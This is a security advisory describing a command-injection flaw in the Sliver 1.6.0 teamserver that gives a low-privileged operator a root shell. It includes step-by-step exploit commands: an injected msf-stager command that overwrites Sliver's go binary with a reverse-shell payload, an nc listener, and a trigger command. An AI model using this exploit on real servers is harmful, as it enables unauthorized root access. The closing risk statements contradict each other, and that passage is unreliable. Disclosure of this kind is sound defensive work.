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GHSA-hc5w-gxxr-w8x8
No affected components available
Description
Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user.
Impact
As described in a past issue, "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.
Reproduction
First configure the Sliver server in multiplayer mode and add an operator profile.
Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.
git checkout 5016fb8d
VERSION=1.6.0 make client
The latest server version is targeted:
All hackers gain exalted
[*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba
[*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57
[*] Welcome to the sliver shell, please type 'help' for options`
The exploit uses a command injection in the generate msf-stager to inject the --out flag to msfvenom. We overwrite Sliver's own go binary at /root/.sliver/go/bin/go:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go
[*] Sliver implant stager saved to: [...]
The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows.
If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead.
On the attacking machine, setup a netcat shell:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Trigger the stager by running a command which executes /root/.sliver/go/bin/go:
sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
⠼ Compiling, please wait ...
A root shell will pop:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
root
The vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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